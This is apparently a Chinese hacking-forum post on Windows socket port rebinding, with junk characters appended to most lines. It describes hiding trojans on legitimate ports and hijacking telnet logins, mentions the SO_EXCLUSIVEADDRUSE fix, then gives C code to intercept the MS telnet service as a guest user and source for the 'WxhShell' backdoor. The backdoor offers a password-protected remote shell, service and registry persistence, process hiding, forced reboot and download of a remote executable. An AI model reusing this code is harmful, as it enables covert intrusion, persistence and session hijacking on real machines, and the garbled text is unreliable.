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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5izpQ'>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }S')!3[G  
g@M5_I(W  
  saddr.sin_family = AF_INET; # c1LOz  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y?0x/2<  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZrNH:Z:5  
gp 11/ .  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ThW9=kzQW  
nSQ]qH&4d  
  这意味着什么?意味着可以进行如下的攻击: XVfUr\=,T  
a;U)#*(5|v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l*w'  O  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W=+AU!%  
{&D$U'ye  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hSAI G  
G)b:UJa"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^{0*?,-x  
`}uM91;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,-k?"|tQ  
QZ7W:%r(4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [h' 22 W  
&"T7KXx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vlDA/( &  
[J eq ?X9  
  #include ;"EDFH#W  
  #include 32anmVnf  
  #include Yh"9,Z&wiR  
  #include    Lr\(7r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x N>\t& c  
  int main() vfhoN]v  
  { -H[@]Q4w  
  WORD wVersionRequested; /RhM6N  
  DWORD ret; =Y!.0)t;*  
  WSADATA wsaData; +9t{ovF?L  
  BOOL val; ~+BU@PHv  
  SOCKADDR_IN saddr; aYpc\jJ  
  SOCKADDR_IN scaddr; Sa.nUj{M=  
  int err; yEJ3O^(F  
  SOCKET s; nDckT+eJ  
  SOCKET sc; D?* du#6  
  int caddsize; ;BWWafZ  
  HANDLE mt; 3?h!nVI+2J  
  DWORD tid;   =*+f2  
  wVersionRequested = MAKEWORD( 2, 2 ); C deV3  
  err = WSAStartup( wVersionRequested, &wsaData ); >nK (  
  if ( err != 0 ) { @V Tw>=94  
  printf("error!WSAStartup failed!\n"); Y}yh6r;i  
  return -1; gr.G']9lNq  
  } M 0G`P1o  
  saddr.sin_family = AF_INET; v!<FeLW  
   U%VFr#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SjJ$Oinc  
z [u!C/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &js$qgY  
  saddr.sin_port = htons(23); `\3RFr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L-q)48+^k  
  { Sw[*1C8  
  printf("error!socket failed!\n"); -,mV~y  
  return -1; PIQd=%?'  
  } fG.6S"|M  
  val = TRUE; E J6|y'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L!ms{0rJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o(3OChH  
  { NW21{}=4  
  printf("error!setsockopt failed!\n"); %t:13eM  
  return -1; ^QHgc_oDm  
  } S!JLy&@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y~lOkH[z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =G'J@[d{d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $3970ni,?O  
C'sA0O@O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {K/xI  
  { 8N#.@\'kz.  
  ret=GetLastError(); EzCi%>q  
  printf("error!bind failed!\n"); 8<E U|/O  
  return -1; QNj6ETB-d  
  } "Vwk&~B%  
  listen(s,2);  .^rs VNG  
  while(1) ?i~mt'O  
  { +~lPf.  
  caddsize = sizeof(scaddr); f~p[izt  
  //接受连接请求 WO+>W+|N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JVPLE*T  
  if(sc!=INVALID_SOCKET) eE0nW+i  
  { kH62#[J)yM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N\hHu6  
  if(mt==NULL) u H)v\Js  
  { *  }ZKQ  
  printf("Thread Creat Failed!\n"); Thp!X/2O`  
  break; <Lq.J`|+  
  } XJ7mvLM;  
  } %b ^.Gw\L  
  CloseHandle(mt); "j}fcrlG9  
  } sbFA{l3   
  closesocket(s); *{e,< DV  
  WSACleanup(); ,L(q/#p  
  return 0; E I&)+cC  
  }   KKwJ=za  
  DWORD WINAPI ClientThread(LPVOID lpParam) @c%h fI  
  { <r8s= <:  
  SOCKET ss = (SOCKET)lpParam; r5!Sps3B  
  SOCKET sc; MrS~u  
  unsigned char buf[4096]; \ 3l3,VYH  
  SOCKADDR_IN saddr; cbX  <  
  long num; 'c/Z W  
  DWORD val; 4Mj cx.21  
  DWORD ret; t^<ki?*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *Cx3bg*Gan  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9J f.Ls  
  saddr.sin_family = AF_INET; 8lT2qqlr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SBG.t:  
  saddr.sin_port = htons(23); d@<~u,Mt&F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 77zDHq=  
  { Ap%tm)@1  
  printf("error!socket failed!\n"); ?_G?SQ  
  return -1; P%kJq^&  
  } l Gy`{E|  
  val = 100; .h>tef  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gn4 Sz")  
  { @:G#[>nKe  
  ret = GetLastError(); Xx=c'j<  
  return -1; sQr |3}I(  
  } /m+\oZ ]d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZHOh(  
  { UhF+},gU  
  ret = GetLastError(); m<e-XT  
  return -1;  Qf(mn8  
  } PLDp=T%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JnZlz?}^  
  { >KnXj7  
  printf("error!socket connect failed!\n"); RS1c+]rr  
  closesocket(sc); a2`|6M;  
  closesocket(ss); Zjkrne{  
  return -1; q.g0Oz@ z  
  } `q(eB=6;[  
  while(1) A@k`$xevVj  
  { q8e34Ly7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >$iQDVh!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K\vyfYi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d (8X?k.S  
  num = recv(ss,buf,4096,0); VsMTzGr  
  if(num>0) h`%}5})=  
  send(sc,buf,num,0); ]&RC<imq  
  else if(num==0) 2<' 1m{  
  break; xHY#"   
  num = recv(sc,buf,4096,0); `p)$7!  
  if(num>0) '-5Q>d~&h  
  send(ss,buf,num,0); [qGj*`@C  
  else if(num==0) %I6c}*W  
  break; fu6Ir,  
  } Xeo2 < @[  
  closesocket(ss); WTP~MJ#C  
  closesocket(sc); c$[cDf~  
  return 0 ;  W .t`  
  } XrD@q  
v*k}{M  
\9GJa"xA`  
========================================================== lYt|C^  
nd)bRB  
下边附上一个代码,,WXhSHELL 0qU Bt9rA  
!E+.(  
========================================================== b _#r_`  
"TboIABp:H  
#include "stdafx.h" u= u#6%  
bzt(;>_8  
#include <stdio.h> I"<ACM  
#include <string.h> D[ -Gzqh  
#include <windows.h> 9e*v&A2Y'  
#include <winsock2.h> vUU)zZB ~  
#include <winsvc.h> =6N%;2`84  
#include <urlmon.h> 2!+saf^-,  
K4\#b}P!  
#pragma comment (lib, "Ws2_32.lib") ;m[-yqX  
#pragma comment (lib, "urlmon.lib") 3RyB 0 n  
' *6S0zt  
#define MAX_USER   100 // 最大客户端连接数 @1UC9}>  
#define BUF_SOCK   200 // sock buffer ^t{2k[@  
#define KEY_BUFF   255 // 输入 buffer );zLy?n  
g_l=z`,8  
#define REBOOT     0   // 重启 #o]/&T=N=  
#define SHUTDOWN   1   // 关机 Ur/+nL{  
O*8 .kqlgt  
#define DEF_PORT   5000 // 监听端口 L(bYG0ZI5C  
L\u6EMyV  
#define REG_LEN     16   // 注册表键长度 SQ_w~'(  
#define SVC_LEN     80   // NT服务名长度 \<bar ~  
u\9t+wi}<  
// 从dll定义API XDWR ]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4._ U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FXi"o $N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ph;ds+b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )S;pYVVAl  
CQ`$' oy?W  
// wxhshell配置信息 G{ 9p.Q  
struct WSCFG { :Rq>a@Rp  
  int ws_port;         // 监听端口 CSC sJE#4  
  char ws_passstr[REG_LEN]; // 口令 >*hY1@N1  
  int ws_autoins;       // 安装标记, 1=yes 0=no rLU+-_  
  char ws_regname[REG_LEN]; // 注册表键名 g=T !fF=  
  char ws_svcname[REG_LEN]; // 服务名 ZT \=:X*e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /R2K3E#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EPE9HvN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 = %O@%v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U0PQ[Y#\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t=IpV l!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l20fA-T _I  
bP4<q?FKcN  
}; ac-R q.GQY  
Oc|`<^m  
// default Wxhshell configuration -jv%BJJlX  
struct WSCFG wscfg={DEF_PORT, ]Ywj@-*q  
    "xuhuanlingzhe", Q/y^ff]=  
    1, 9&>)4HNd?  
    "Wxhshell", &K1\"  
    "Wxhshell", QL<uQ`>(  
            "WxhShell Service", ? x*Ve2+]  
    "Wrsky Windows CmdShell Service", :2qUel\PEC  
    "Please Input Your Password: ", HH\6gs]u  
  1, S-M| 6fv  
  "http://www.wrsky.com/wxhshell.exe", @bc=O1vX~;  
  "Wxhshell.exe" V8aLPJ0_  
    }; A 11w{`EM  
8op,;Z7Y  
// 消息定义模块 {iyO96YI[^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D 2U")g}U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tKnvNOhn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *$t<H-U-  
char *msg_ws_ext="\n\rExit."; k3-'!dW<  
char *msg_ws_end="\n\rQuit."; ]/o0p  
char *msg_ws_boot="\n\rReboot..."; IsaL+elq|  
char *msg_ws_poff="\n\rShutdown..."; Mn- f  
char *msg_ws_down="\n\rSave to "; !L+4YA  
Auq)  
char *msg_ws_err="\n\rErr!"; [r,ZM  
char *msg_ws_ok="\n\rOK!"; aaN|g{pX  
j2U iZLuV  
char ExeFile[MAX_PATH]; -|?I'~[#(  
int nUser = 0; sd@JQ%O  
HANDLE handles[MAX_USER]; 36NENzK  
int OsIsNt; @AXRKYQ{t  
/~,|zz  
SERVICE_STATUS       serviceStatus; A,tmy',d"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nX@lR~g%F  
A]z~Dw3  
// 函数声明 'u \my  
int Install(void); PRs[! EB6  
int Uninstall(void); %s+H& vfQs  
int DownloadFile(char *sURL, SOCKET wsh); qdlz#-B  
int Boot(int flag); :YZqrcr}  
void HideProc(void);  #E[{  
int GetOsVer(void); _K4Igq  
int Wxhshell(SOCKET wsl); '7+e!>"  
void TalkWithClient(void *cs);  d"E@e21  
int CmdShell(SOCKET sock); %0>DjzYt  
int StartFromService(void); e?Pzhh a  
int StartWxhshell(LPSTR lpCmdLine); EFb1Y{u^\!  
S%h[e[[fST  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &rTOJ 1)V}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u?OyvvpH  
20 j9~+  
// 数据结构和表定义 YLr<^G-v  
SERVICE_TABLE_ENTRY DispatchTable[] = 9t 3mU:  
{ C*;g!~{  
{wscfg.ws_svcname, NTServiceMain}, {uurM` f}:  
{NULL, NULL} g4NxNjM;  
}; Kt(Z&@  
=}:9y6QR.  
// 自我安装 C~16Jj:v  
int Install(void) *W'F 6Hpu  
{ ! xU1[,9  
  char svExeFile[MAX_PATH]; `Qf$]Eoft  
  HKEY key; .qjVw?E  
  strcpy(svExeFile,ExeFile); )c'5M]V  
&3 QdQ n,  
// 如果是win9x系统,修改注册表设为自启动 j,q8n`@  
if(!OsIsNt) { E0;KTcZi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c:  /Wk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6$1dd#  
  RegCloseKey(key); ZRDY `eK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? o@5PL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R)>/P{ A-P  
  RegCloseKey(key); ~m ,xG  
  return 0; #Y*?k TF  
    } `rt  
  } I~LN)hqdo  
} K;%P_f/KJP  
else { }b9"&io  
Y{6vW-z_<  
// 如果是NT以上系统,安装为系统服务 zEG6T*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -WDU~VSU  
if (schSCManager!=0) ,o $F~KPu  
{ L5%t.7B  
  SC_HANDLE schService = CreateService P8tpbdZE-  
  ( Eei"baw/  
  schSCManager, J%G EIe|  
  wscfg.ws_svcname, Ls8@@b,t2  
  wscfg.ws_svcdisp, pwg$% lv  
  SERVICE_ALL_ACCESS, k lLhi<*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uFseO9F.2  
  SERVICE_AUTO_START, Ekb9=/  
  SERVICE_ERROR_NORMAL, m `"^d #  
  svExeFile, {Y>5 [gp  
  NULL, #6<  X  
  NULL, ^Eu]i  
  NULL, "m*.kB)e7  
  NULL, <Fkm7ME]  
  NULL ?LJDBN  
  ); F`/-Q>Q  
  if (schService!=0) ^SP/&w<c  
  { +D[|Mi  
  CloseServiceHandle(schService); EV1x"}D A_  
  CloseServiceHandle(schSCManager); (0L7Ivg<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b2}>{Li0  
  strcat(svExeFile,wscfg.ws_svcname); q|An  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uvN Lm]*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DtXQLL*fl(  
  RegCloseKey(key);  ]/l"  
  return 0; qOA+ao  
    } M^q< qS>d  
  } kEQ1&9  
  CloseServiceHandle(schSCManager); T:v.]0l~  
} ]} D^?g^  
} bsfYz  
glMYEGz6p  
return 1; f`r o {p  
} r]e1a\)r  
p>4tPI}bf  
// 自我卸载 b3/@$x<  
int Uninstall(void) ]!7 %)  
{ oRf.34  
  HKEY key; hv)>HU&  
k|C~qe3E  
if(!OsIsNt) { eAU0 8gM.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wM$N#K@  
  RegDeleteValue(key,wscfg.ws_regname); '}4z=f`}  
  RegCloseKey(key); a ~s:f5S>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jL9g.q4^  
  RegDeleteValue(key,wscfg.ws_regname); Rz sgPk  
  RegCloseKey(key); L/ L#[  
  return 0; s9[?{}gd  
  } :G.u{cw  
} +8<|P&fH  
} ;jgk53lo  
else { f ZEyXb  
M~rN17S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  lu_kir~  
if (schSCManager!=0) ]=gNA  
{ [b2KBww\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \ltbiDP2  
  if (schService!=0) Z\YCjs%  
  { ;;4>vF#*  
  if(DeleteService(schService)!=0) { Kw%to9 eh)  
  CloseServiceHandle(schService); #mIgk'kW<  
  CloseServiceHandle(schSCManager); (DLk+N4UHA  
  return 0; {[|je ]3v  
  } G '1K6  
  CloseServiceHandle(schService); 1bz%O2U-(  
  } 1>c^-"#e^  
  CloseServiceHandle(schSCManager); !W\za0p  
} \m xi8Z w  
} pZ`^0#Fo  
r,43 gg  
return 1; ?&`PN<~2z  
} +g9C klJ  
]$7yB3S,B  
// 从指定url下载文件 @u>:(9bp  
int DownloadFile(char *sURL, SOCKET wsh) whW% c8  
{ 1 $m[# 3  
  HRESULT hr; r"_U-w  
char seps[]= "/"; [PIh^ DhK  
char *token; ]/#3 P  
char *file; nk*T x  
char myURL[MAX_PATH]; 1!S*z^LGl  
char myFILE[MAX_PATH]; /;X+<Wj  
SG4)kQ  
strcpy(myURL,sURL); ip+?k<]z  
  token=strtok(myURL,seps); yC:C  
  while(token!=NULL) -=InGm\Y  
  { , 3&D A  
    file=token; D7lRZb  
  token=strtok(NULL,seps); : GdLr  
  } >ufLRGL>  
TFZxk  
GetCurrentDirectory(MAX_PATH,myFILE); #rI4\K  
strcat(myFILE, "\\"); D[ v2#2  
strcat(myFILE, file); ;%Zu[G`C  
  send(wsh,myFILE,strlen(myFILE),0); f q&(&(|  
send(wsh,"...",3,0); 01 <Ti"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K^Ho%_)  
  if(hr==S_OK) I_s*pT  
return 0; Aa`R40yl  
else zHX7%x,Cq  
return 1; `yYYyB[  
&?H`MCv t  
} s?Z{LWZ@  
S }3?  
// 系统电源模块 r>lo@e0G  
int Boot(int flag) (:>Sh0.  
{ 3rj7]:Vr  
  HANDLE hToken; j a'_syn  
  TOKEN_PRIVILEGES tkp; MMy\u) 4  
tiPZ.a~k  
  if(OsIsNt) { #G]g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a_ \t(U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LlcH#L$  
    tkp.PrivilegeCount = 1; pS~=T}o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9>6?tb"f*H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >x*ef]aS  
if(flag==REBOOT) { Kut@z>SK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cKB1o0JsYJ  
  return 0; J(5#fo{Q.g  
} fD*jzj7o ,  
else { GGU>={D)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !8I80 :e_~  
  return 0; W+i&!'  
} iBk1QRdn  
  } y[';@t7CC  
  else { &3|l4R\  
if(flag==REBOOT) { ,0@QBr5P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1oI2  
  return 0; ?h:xO\h8  
} 39bw,lRPV  
else { Z=be ki]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g*;z V i  
  return 0; y=2nV  
} z:;yx  
} hm0MO,i"  
|`'WEe2  
return 1; Mu@(^zW  
} dN@C)5pm5`  
[$@EQ]tt/  
// win9x进程隐藏模块 6GoQJ  
void HideProc(void) lv#L+}T  
{ "}2I0tM  
8M,$|\U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fW$1f5g"  
  if ( hKernel != NULL ) j9R+;u/!  
  { RBpv40n0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O f]/tdPp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lb~' I=9D  
    FreeLibrary(hKernel); +o]J0Gu  
  } XrJLlH>R4  
M63t4; 0A  
return; [&)*jc16  
}  63VgQ  
aWY#gI{  
// 获取操作系统版本 #&Rx?V  
int GetOsVer(void) L-Mf{z  
{ juQ?k xOB  
  OSVERSIONINFO winfo; bZ}T;!U?I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GQYB2{e>  
  GetVersionEx(&winfo); cvC 7#i[G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L0*f(H  
  return 1; >VJ"e`  
  else @2sr/gX^  
  return 0; nnTiu,2R  
} S<g~VK!Tt  
VDlP,Mm*  
// 客户端句柄模块 X$=/H 6R5Z  
int Wxhshell(SOCKET wsl) 'M fVZho{  
{ %?J-0  
  SOCKET wsh; >gDKkeLD  
  struct sockaddr_in client; +A1xqOB  
  DWORD myID; \^dYmU  
$\L=RU!c}  
  while(nUser<MAX_USER) A27!I+M  
{ ,7;euV5X  
  int nSize=sizeof(client); 0y%s\,PsT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EJ(z]M`f  
  if(wsh==INVALID_SOCKET) return 1; Ki(0s  
s qO$ka{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kc`#~-`,(  
if(handles[nUser]==0) / }(\P@Z  
  closesocket(wsh); 6%&DJBU!  
else a[J_H$6H!  
  nUser++; {w ]L'0ES[  
  } V=E5pB`Pr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ci?RuZ"  
AIw~@*T  
  return 0; GK{~n  
} #(-?i\i  
ySH io;g9  
// 关闭 socket {"_V,HmEF+  
void CloseIt(SOCKET wsh) >iI_bcqF  
{ X3l6b+p  
closesocket(wsh); Y r8gKhv W  
nUser--; <o@__l.  
ExitThread(0); 3A3WD+[L  
} W7w*VD|  
Zig3WiD&  
// 客户端请求句柄 @1V?94T1  
void TalkWithClient(void *cs) uExYgI`<%&  
{ 72dd%  
&&Otj-n5  
  SOCKET wsh=(SOCKET)cs; $S U<KNMZ  
  char pwd[SVC_LEN]; \o5/, C  
  char cmd[KEY_BUFF]; NYPjN9L  
char chr[1]; 21hTun"W  
int i,j; j#9n.i %h  
X + B=?|M  
  while (nUser < MAX_USER) { zI_pP?4;.q  
Rc}#4pM8  
if(wscfg.ws_passstr) { ,9W!cD+0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oSH]TL2@Cd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;e Mb$px  
  //ZeroMemory(pwd,KEY_BUFF); 9)'wgI#  
      i=0; -_f-j  
  while(i<SVC_LEN) { N._^\FRyn  
6t4{aa!L|9  
  // 设置超时 , 1il&  
  fd_set FdRead;  !~]'&9  
  struct timeval TimeOut; (!T\[6  
  FD_ZERO(&FdRead); #3YYE5cB  
  FD_SET(wsh,&FdRead); SKVQ !^o  
  TimeOut.tv_sec=8; z*WQ=l2  
  TimeOut.tv_usec=0; <#lNi.?.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^;;gPhhWV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WU6F-{M"?  
a'7RzN ,]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JgB"N/Oz  
  pwd=chr[0]; NZuylQ)0  
  if(chr[0]==0xd || chr[0]==0xa) { RYM[{]4b5F  
  pwd=0; {QT:1U \.  
  break; r?WOum  
  } A~8-{F 31  
  i++; da$ErN '{  
    } HCaEETk5  
kQ.3J.Q5  
  // 如果是非法用户,关闭 socket jk5C2dy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S,#UA%V"  
} 3EyVoS6D  
|@dY[VK>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l6-%)6u>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f:h<tlob  
yj mNeZ  
while(1) { hJ(S]1B~G  
}?Tz=hP  
  ZeroMemory(cmd,KEY_BUFF); cnM`ywKW  
O_&Km[  
      // 自动支持客户端 telnet标准   f6%7:B d  
  j=0; %F]:nk`  
  while(j<KEY_BUFF) { p;LF-R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5@JS1cY  
  cmd[j]=chr[0]; kDWvjT  
  if(chr[0]==0xa || chr[0]==0xd) { #mc6;TRZO  
  cmd[j]=0; iuEQ?fp  
  break; 0zXF{5Up  
  } JPkI+0  
  j++; ,kE"M1W  
    } $e,'<Jl  
3NgyF[c  
  // 下载文件 oqy}?<SQ  
  if(strstr(cmd,"http://")) { xBAASy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r'& 6P-Vm  
  if(DownloadFile(cmd,wsh)) 8#15*'Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =%9j8wHX  
  else ?., 2EC=+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )5ISkbsxD  
  } ;r3|EA35  
  else { KgEfhO$W  
*@[+C~U  
    switch(cmd[0]) { "y=AVO  
  be~'}`>  
  // 帮助 ?a` $Y>?h  
  case '?': { 9d&}CZr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A{a`%FAV  
    break; '0/[%Q  
  } ZVz`-h B  
  // 安装 Vc| uQ8Mi  
  case 'i': { gR8vF  
    if(Install()) XnV$}T:?X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1e{"_$O9  
    else rqYx\i?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [USE&_RN  
    break; ah0  
    } q<w Q/m  
  // 卸载 T>pz?e^5&  
  case 'r': { w1 tg7^(@  
    if(Uninstall()) KVCj06}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >O}J*4A>+#  
    else I xE }v%&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o|7 h  
    break; f)!7/+9>  
    } hS +R /7  
  // 显示 wxhshell 所在路径 y7Sj^muBY  
  case 'p': { JM Ikr9/$  
    char svExeFile[MAX_PATH]; '.d]n(/lZd  
    strcpy(svExeFile,"\n\r"); @2)ImgK[  
      strcat(svExeFile,ExeFile); $+@xwuY'+  
        send(wsh,svExeFile,strlen(svExeFile),0); ,N`D{H"F  
    break; rty&\u@}  
    } vP{;'R  
  // 重启 ?<-ins  
  case 'b': { 7.tEi}O&_g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;B@-RfP  
    if(Boot(REBOOT)) "N*i!h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @m Id{w z  
    else { sn?YD'>k  
    closesocket(wsh); k>q}: J9V  
    ExitThread(0); Gmp`3  
    } &%`Y>\@f  
    break; ,?zOJ,wl  
    } mY !LGN  
  // 关机 F_C_K"[s  
  case 'd': { >@c~M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u#`FkuE\}  
